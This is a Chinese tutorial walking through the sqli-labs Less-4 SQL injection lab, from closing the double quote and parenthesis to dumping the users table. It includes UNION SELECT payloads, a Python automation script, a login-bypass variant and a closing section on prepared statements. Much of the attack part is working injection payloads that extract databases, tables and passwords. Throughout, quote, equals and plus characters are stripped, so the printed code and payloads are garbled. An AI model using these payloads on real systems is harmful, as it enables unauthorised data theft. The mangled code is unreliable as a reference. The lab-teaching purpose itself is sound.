ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SQL注入靶场实战:sqli-labs第四关双引号括号闭合详解

SQL注入靶场实战:sqli-labs第四关双引号括号闭合详解 如果你已经刷过 sqli-labs 前三关大概率会在第四关门口愣一下明明单引号不报错怎么加个双引号就直接翻车这一关考的不是会不会拼 SQL而是对闭合符的判断能力。作为 SQL 注入入门绕不开的靶场sqli-labs 第四关Less-4的核心考点就是双引号配合括号的字符串注入。很多人在这里卡住是因为只盯着单引号试忽略了一个关键事实这一关的 SQL 语句里变量外面套了一层双引号外面还有一对括号。下面我就用图文对照的方式把第四关从探测、闭合到脱库的完整链路拆开讲。1. 第四关到底在考什么先看清($id)这条魔鬼拼接1.1 从源码出发双引号与括号为什么会同时出现很多人打靶场只关心发什么 payload从来不关心后端源码。但这关恰恰是源码控的胜利。sqli-labs 的 Less-4 核心 SQL 逻辑用 PHP 表示大概是这个样子?php include(../sql-connections/sql-connect.php); error_reporting(0); if(isset($_GET[id])) { $id $_GET[id]; $sql SELECT * FROM users WHERE id(\$id\) LIMIT 0,1; $result mysql_query($sql); ... }注意这一行SELECT * FROM users WHERE id($id) LIMIT 0,1变量$id被一对双引号包住而整个表达式又被一对圆括号包住。也就是说用户输入的任何内容都会被直接塞进这一对双引号里再被塞进括号里。这种拼接方式在真实代码里并不罕见。有些老项目为了防止数字型注入会把参数转成字符串后再放进查询于是出现了($id)这种写法有些框架生成 SQL 时为了固定分组也会在条件外层加括号。问题是只要没有用参数化查询这种保护性写法反而给注入者留下了一个需要精确猜测的闭合结构。第一关是单引号闭合第二关是纯数字型第三关是单引号加括号第四关就是双引号加括号。每一关都在训练同一件事你怎么通过页面的正常、异常、报错三种状态反推出后端到底是怎么拼接 SQL 的。1.2 数字型、字符型、带括号字符型闭合符决定了注入姿势要理解第四关先要理解闭合这两个字。数字型查询长这样WHERE id1你传入1 and 12拼出来是WHERE id1 and 12这是直接参与运算的不需要闭合任何东西。字符型查询长这样WHERE id1你传入1 and 12 --才能把前一个单引号闭合然后通过注释把后面那个单引号吞掉。到了第四关WHERE id(1)你不但要处理双引号还要处理右括号。假设你只输入1 --拼出来是WHERE id(1 --) LIMIT 0,1双引号是闭合了但左括号前面只跟了一个字符串1后面被--注释掉的内容里藏着右括号整个 SQL 的左括号永远找不到配对语法一样报错。这就是标题里说的博弈引号是一道坎括号又是一道坎少闭合一个都不行。所以第四关的注入本质就是三步猜出引号类型猜出括号结构构造闭合 payload 把后面的尾巴注释掉。2. 搭建 sqli-labs把靶场跑起来才算拿到入场券2.1 我推荐的几种安装方式与踩坑记录打靶场不需要多豪华的环境但环境要是配不对你会在第四关看到一条又一条莫名其妙的报错最后还以为是注入姿势错了。这里说两种最常见的搭建方式。第一种是 PHPStudy。把 sqli-labs 源码解压到www目录下启动 Apache 和 MySQL浏览器访问http://127.0.0.1/sqli-labs/就能看到首页。这种方式对国内新手最友好数据库和 Web 环境都是图形界面管理不需要敲命令。第二种是 Docker。如果你机器上已经装了 Docker一条命令就能起服务docker pull acgpiano/sqli-labs docker run -d -p 8080:80 --name sqli-labs acgpiano/sqli-labs然后访问http://127.0.0.1:8080/。镜像名可能因版本不同有差异核心是 Web 服务能起来。踩坑记录我写在下面都是实际遇到过的情况页面能打开但点Setup/reset Database没有任何反应多半是数据库连接配置不对。去sql-connections/sql-connect.php里核对数据库账号密码默认通常是root/root或root/空密码。报错信息显示不出来页面老是一行You have an error in your SQL syntax的完整报错没出现。检查 PHP 配置里的display_errors很多集成环境默认关了错误显示而这个靶场恰恰依赖报错来辅助判断。MySQL 版本太高比如 MySQL 8.x 和 PHP 5.x 的认证方式不兼容连接直接失败。这种时候要么换成 PHP 5.x/MySQL 5.x 的组合要么调整数据库用户的认证插件。sqli-labs 最经典的环境就是 Apache PHP 5.6 MySQL 5.7。2.2 初始化数据库并进入 Less-4环境起来之后首页会列出所有关卡。点击 Less-4 或者直接访问http://127.0.0.1/sqli-labs/Less-4/就能进入第四关。页面上会有标题和提示大意是让你输入一个数字形式的 id 参数。这时候 URL 是空的或者已经写了?id1。正常访问?id1页面会显示一行用户数据说明靶场本身已经连通。初始化数据库这一步很关键。第一次进首页建议先点击首页的Setup/reset Database for labs它会创建security库和相关表。如果没初始化就进关卡后面查询会报 table 不存在。很多新手直接进 Less-4结果information_schema查询全部落空还以为是 payload 写错了。进入第四关后你可以顺手做一个小实验直接访问http://127.0.0.1/sqli-labs/Less-4/?id1页面正常显示。这相当于拿到了一个基线样本后面所有的探测判断都是拿输入跟这个基线做对比。3. 关键一步用一条双引号撬开注入点的探测与验证3.1 逐步试探1、1、1、1) 分别会发生什么我在本地实际操作时的完整探测过程是这样的。注意每一步都要刷新 URL并且观察页面输出。第一步访问http://127.0.0.1/sqli-labs/Less-4/?id1页面正常显示ID: 1用户名是 Dumb密码是 Dumb。第二步访问http://127.0.0.1/sqli-labs/Less-4/?id1页面依然正常。这是最容易迷惑人的一点。很多初学者看到单引号打进去没反应直接判断没有注入点然后就放弃了。其实不是没注入而是这一关根本不认单引号作为闭合符。单引号此刻只是变成了字符串内容的一部分被双引号乖乖地包在里面。第三步访问http://127.0.0.1/sqli-labs/Less-4/?id1页面炸了MySQL 直接甩出语法错误。到这里你可以百分之百确定这个参数存在 SQL 注入而且闭合符是双引号。第四步访问http://127.0.0.1/sqli-labs/Less-4/?id1) --页面恢复正常。这说明我们初步猜测的闭合结构)是成立的。到这里注入点的探测闭环完成。这套探测思路可以泛化到任何未知注入点上普通值正常、可疑字符异常、报错透露结构、闭合后恢复正常。以后你在授权测试里碰到一个登录框、一个搜索框、一个订单查询接口都可以用同样的思路去试探。3.2 读懂 MySQL 报错信息里的隐藏密码第四关的关键转折点就是输入1时的那条报错。我在浏览器里看到的报错长下面这样不同 MySQL 版本措辞略不同You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1) LIMIT 0,1 at line 1注意看near后面那一小段1) LIMIT 0,1这里面藏着两个信息双引号以及双引号后面的右括号。MySQL 把 SQL 中出错位置附近的内容回显了出来等于把后端的拼接模板亲口告诉了你原来$id确实是被双引号包住的而且双引号外面还有括号。这条报错就是整个第四关的题眼。你可能觉得报错信息只是毛糙的英文但干安全的都应该养成条件反射任何数据库报错先看near后面的原文那里面往往直接写了闭合符、括号、拼接字段的顺序。如果输入的是1MySQL 根本不会报错因为双引号内的单引号只是普通字符如果输入的是1双引号把字符串提前闭合了后面的双引号完全没有配对的引号开头语法就崩了。这个区别就是第四关与第一关最本质的不同。3.3 为什么--能把尾巴闭掉URL 编码视角很多新手会问为什么闭合 payload 结尾老是跟一个--直接用#行不行这里涉及 URL 编码和 MySQL 注释规则。MySQL 里常见的注释写法有三种--双减号加一个空格--只有 URL 里才生效因为号会被解码成空格#在 URL 里要写成%23因为#是 URL 片段标识符如果直接在地址栏输入?id1) --后端 PHP 收到的是1) --也就是双减号后面带一个空格。这样 MySQL 就会把--之后的所有内容当作注释原本语句末尾的) LIMIT 0,1就全被吞掉了。如果用#最好是写成http://127.0.0.1/sqli-labs/Less-4/?id1)%23注意%23是#的 URL 编码。很多新手直接写#浏览器根本不会把#之后的内容发给服务器因为#之后的部分在 URL 规范里是锚点请求被浏览器截断了payload 自然就不完整。还有一个容易被忽略的点payload 末尾的分号、空格、引号在 URL 里最好都用编码表示避免被浏览器或服务器解析吃掉。实战里我一般统一用--它简单、不挑浏览器、不依赖 URL 片段规则。4. 从回显到脱库第四关完整注入链路图解4.1 order by 试字段数从正常到报错的临界点闭合方式已经确认接下来要判断这个查询一共有几个字段。最简单的方法是order by。依次访问http://127.0.0.1/sqli-labs/Less-4/?id1) order by 1 -- http://127.0.0.1/sqli-labs/Less-4/?id1) order by 2 -- http://127.0.0.1/sqli-labs/Less-4/?id1) order by 3 --这三次页面都正常显示说明查询结果集至少有 3 列。再访问http://127.0.0.1/sqli-labs/Less-4/?id1) order by 4 --页面报错提示Unknown column 4 in order clause这就拿到了一个硬性结论查询一共只有 3 个字段。此时你已经有足够条件构造 union select 了。为什么是 order by 而不是 group by 或者别的因为 order by 可以直接使用数字别名不需要知道字段名而且报错信息非常明确Unknown column 4说明超过列数上限。这个办法在多数 MySQL 注入场景下都通用尤其是在不知道表结构的情况下是第一步必须做的事情。4.2 union select 找显示位页面上 2 和 3 就是你的输出窗口确认是 3 个字段后用 union select 构造联合查询。这里有一个细节为了让第一个查询不返回结果很多人直接把 id 改成负数。访问http://127.0.0.1/sqli-labs/Less-4/?id-1) union select 1,2,3 --浏览器里的回显如下我用文本还原页面ID: -1) union select 1,2,3 -- Username: 2 Password: 3注意这个结果非常有价值ID位置显示的是完整输入的字符串Username位置显示的是第二列的值 2Password位置显示的是第三列的值 3。也就是说页面上有可见回显的位置是第 2 列和第 3 列。第一列虽然存在但页面没把它输出。后面的所有数据读取本质上都是把要获取的目标放到第 2 列或第 3 列的位置上。比如想看当前数据库名就写http://127.0.0.1/sqli-labs/Less-4/?id-1) union select 1,database(),3 --页面 Password 位置会显示security说明当前使用的库就是security。这个过程叫找显示位是所有 union 注入里最需要耐心的一步。显示位找不对后面就算拿到数据也看不出来。4.3 爆库、爆表、爆字段、爆数据的完整 payload 清单显示位确定后剩下的就是信息收集。我直接把常用 payload 列出来全部在第四关验证过。获取当前数据库名http://127.0.0.1/sqli-labs/Less-4/?id-1) union select 1,database(),3 --获取所有数据库名用 group_concat 一次性输出http://127.0.0.1/sqli-labs/Less-4/?id-1) union select 1,group_concat(schema_name),3 from information_schema.schemata --获取当前库下所有表名http://127.0.0.1/sqli-labs/Less-4/?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() --这一步页面 Password 位置会输出类似emails,referers,uagents,users的内容。其中users表一看就是放账号密码的。获取 users 表的所有字段http://127.0.0.1/sqli-labs/Less-4/?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_nameusers --输出是id,username,password。获取用户名和密码用 0x3a 作为冒号分隔符因为:在 URL 里如果直接写也可能被解析干扰不过这里主要是为了拼接成一行http://127.0.0.1/sqli-labs/Less-4/?id-1) union select 1,group_concat(username,0x3a,password),3 from users --输出会是一整串用户名和密码的拼接比如开头是Dumb:Dumb,Angelina:I-kill-you,...。页面里显示不完整时可以分段处理也可以加上limit 0,5之类的约束分批看。这一整套链路走下来第四关的数据层面就彻底打通了。本质上和 Less-1 的数据读取过程差不多区别就在于每个 URL 的闭合前缀是-1)而不是-1。5. 图文对照我在浏览器里看到的每一个界面长什么样5.1 正常请求页与注入请求页的差异图文结合不是让你脑补而是要知道每一步操作后浏览器到底发生了什么变化。我在这里用文本把实际页面结构还原出来方便你对照自己屏幕。正常访问?id1sqli-labs 页面大概长这样Less-4 (页面标题) Please input the ID as parameter with numeric value ID: 1 Username: Dumb Password: Dumb输入?id1时页面变成You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1) LIMIT 0,1 at line 1页面顶部原本正常显示的用户数据区域消失取而代之的是红色报错块。这种失去正常回显本身就是判断注入点最直接的信号。在实际渗透测试中只要某个参数能制造这样的语法错误你就应该警觉后端可能把参数拼进了 SQL。输入?id-1) union select 1,2,3 --时页面变成ID: -1) union select 1,2,3 -- Username: 2 Password: 3你会发现和正常页面唯一的区别就是ID位置不再是纯数字Username和Password位置变成数字 2 和 3。说明我们成功劫持了查询结果让第 2 列和第 3 列变成了可控输出。5.2 回显位置图示为什么 username 位置显示 2有读者会问我明明在 union 后面写了 1,2,3为什么 username 显示的是 2password 显示的是 3第一个 1 去哪了因为后端代码里只取了查询结果的第 2 列和第 3 列输出到页面第 1 列虽然存在但根本没被展示。sqli-labs 页面里真正渲染的字段是$row[username]和$row[password]而username落在查询结果的第 2 列。这就是显示位和字段序的差异。你必须先通过union select 1,2,3确定哪些位置的数字能看到后面再用这些位置替换成database()、group_concat(table_name)之类的表达式。如果你直接把数据库名放到第 1 列的位置页面永远不会显示它你会误以为注入失效了。5.3 常见误判单引号不报错不代表没注入第四关最典型的误判流程如下新手输入?id1页面正常。于是判断没有注入。这恰恰是第四关的陷阱。为什么单引号不报错因为 SQL 模板在这里是WHERE id($id)用户输入单引号后变成WHERE id(1)双引号包裹着一个包含单引号的完整字符串MySQL 语法完全合法。遇到这种情况正确的做法不是放弃而是换一种引号继续试。用单引号试不出结果就试双引号、试反引号单个闭合符试不出来就试带括号的组合。另一个常见误判是有人输入?id1) --后页面虽然正常但是ID位置显示的是很长一串 payload而不是像数字型注入那样显示原始的 1。这个现象是正常的因为它把ID位置直接渲染成了用户输入的字符串不代表注入失败。真正判断成功的标准是页面上Username和Password位置是否显示了你 union select 出来的内容以及数据是否与正常请求一致。还有一个小坑如果直接用?id1) and 12 --测试页面会显示空白或者查不到任何用户这也是正常的。and 12把原始查询结果过滤掉了证明我们改写了查询逻辑是注入成功的另一种表现。很多教程喜欢用and 11和and 12做真假判断在第四关同样适用。6. 第四关之后的进阶从靶场到授权测试的迁移6.1 用 Python 脚本把第四关跑成自动化打靶场熟练之后很多重复性的发送请求和提取回显完全可以脚本化。这里给一个简单的 Python 示例用 requests 循环执行第四关的注入 payload并自动提取页面数据。import requests import re base http://127.0.0.1/sqli-labs/Less-4/ payloads [ -1) union select 1,2,3--, -1) union select 1,database(),3--, -1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--, -1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_name0x7573657273--, -1) union select 1,group_concat(username,0x3a,password),3 from users--, ] for p in payloads: r requests.get(base, params{id: p}) # 提取页面中 Password 位置后面的内容 match re.search(rPassword: (.*), r.text) if match: print(p.split(union)[0].strip(), , match.group(1))这里用table_name0x7573657273取代了table_nameusers因为 0x7573657273 是users的十六进制表示。在需要大量拼接 payload 的场景里用十六进制字符串可以避免引号冲突也能减少被一些过滤规则拦下的概率。当然自动化脚本只是为了提高效率前提是你已经把手工闭合和回显判断练熟。否则脚本批量打过去回显位置变化了你都看不出来脚本跑得再快也没用。6.2 双引号闭合在其他场景的变形第四关练完之后双引号闭合的思路可以直接迁移到很多真实场景。举几个例子。第一是登录框。有些老系统的登录查询是这么写的SELECT * FROM users WHERE username$user AND password$pass如果你在用户名处输入admin --拼出来就是SELECT * FROM users WHERE usernameadmin -- AND password...后面查询条件全被注释掉登录逻辑绕过成立。这就是万能密码的变体之一。只不过第四关是注入点在id上登录场景的注入点常在username和password字段上逻辑大同小异。这里要特别提醒万能密码这类手法只能在你自己搭建的靶场、CTF 题目或拿到授权的测试环境里使用不要拿真实线上系统练手那属于违法行为。第二是搜索接口。很多搜索模块为了兼容模糊匹配会写成LIKE %keyword%。如果你传入%或可能会引发完全不同的 SQL 行为。对这种场景第四关教会你的闭合符探测方法可以原封不动地搬过去。第三是 JSON 接口。现在不少接口用 JSON 传输条件参数后端在拼 SQL 时把 JSON 里的 value 直接塞进双引号比如WHERE name {value}隐患和第四关一模一样。遇到这类接口在授权测试中可以用同样的闭合思路去验证但同样要注意合法性。6.3 防御视角预编译为什么能终结这场博弈第四关的博弈看似精彩但对防守方来说解法实在太简单使用参数化查询。如果用 PDO 预编译$stmt $pdo-prepare(SELECT * FROM users WHERE id ? LIMIT 0,1); $stmt-execute([$id]);无论你传1、1)还是1) union select...对于数据库来说这都只是字符串值永远不可能被解释成 SQL 语法的一部分。双引号和括号的博弈在预编译面前没有任何意义。这也是我在打靶场之外一直强调的点SQL 注入的根因不是输入过滤不严而是数据和代码没有被分开。靶场里你练的是攻击技巧但真正要建立的思维是——任何拼接 SQL 的方式无论加了双引号、单引号、括号、反引号都只是延迟了问题的爆发而没有解决问题。如果你是自己写代码建议不管是 SELECT、UPDATE 还是 DELETE全部走预编译如果是在维护别人留下的老项目遇到这种($id)拼接写法优先改造成参数化查询而不是在输入层加正则过滤。过滤永远有绕过预编译没有。第四关这个小关卡看起来只是双引号和括号之间的你来我往其实它把一个非常本质的问题摆在了桌面上你写下的每一段数据有没有可能被当成 SQL 的骨架被执行。想明白这一点你才算真正把这一关打透了。
返回列表